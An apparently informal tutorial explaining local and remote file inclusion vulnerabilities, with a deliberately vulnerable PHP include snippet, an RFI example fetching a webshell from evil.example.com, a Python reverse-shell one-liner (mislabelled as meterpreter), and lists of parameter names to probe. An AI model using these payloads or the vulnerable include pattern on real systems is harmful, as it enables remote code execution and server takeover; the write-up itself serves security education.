A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time. A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution. Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement. Background Concept of File Inclusion
Basically in this the script run time website is Vulnerable means a website which is dynamic and can contain many pages of a website and a website that has a connection to the database.
Example :-
example.com/wp-admin
example.com/login.php
example.com/page/product.php
example.com/user/profile.php
example.com/index.php?referee=login.php
example.com/post/status?id=12672
Impact of File Inclusion
so lets talk about of impact of File inclusion :
Impact will be code execution on the server. basically what that mean code execution on the server.
● you can try to execute the meterpreter command there, the meterpreter shell command in a reverse connection there.
● You can also execute code exection client side also
● You can use for DOS attack
● You can execute for information disclosure sensitive disclosure is attacks lead an sensitive information like
● The system password, system configure details etc.
Types of File Inclusion
There are two types of file inclusion :-1) Local File Inclusion ( LFI )
2) Remote File Inclusion ( RFI )
1) Local File Inclusion ( LFI )
Any parameter they will have some local file
anyparameter=somelocalfile
Example :-
any.com/index.php?referer=login.php
( This paramter, referer parameter in including, some local file then there may local file inclusion. )
Example :
<?php
if (isset($_GET['language'])) {
include($_GET['language'] . '.php');
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
2) Remote File Inclusion ( RFI )
Any parameter if they will have something remote file inlcusion
anyparameter=remoteweb.com/file
Example :
anyparameter=remoteweb.com/file
any.com/?share=http://facebook.com/status?id=12672
Example :
example.com/vulnerable.php?language=http://evil.example.com/webshell.txt?
OR
( meterpreter command shell )
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
( meterpreter command shell )
Possible Paramter
Local File Inclusion :
[file, document, folder, root, path, pg, style, pdf, template, php_path, doc]
Remote File Inclusion :
[dest, redirect, uri, path, continue, url, window, to, out, view, dir, show, navigation, Open, url, file, val, validate, domain, callback, return, page, feed, host, port, next, data, reference, site, html]
Video Tutorial :- SooN..
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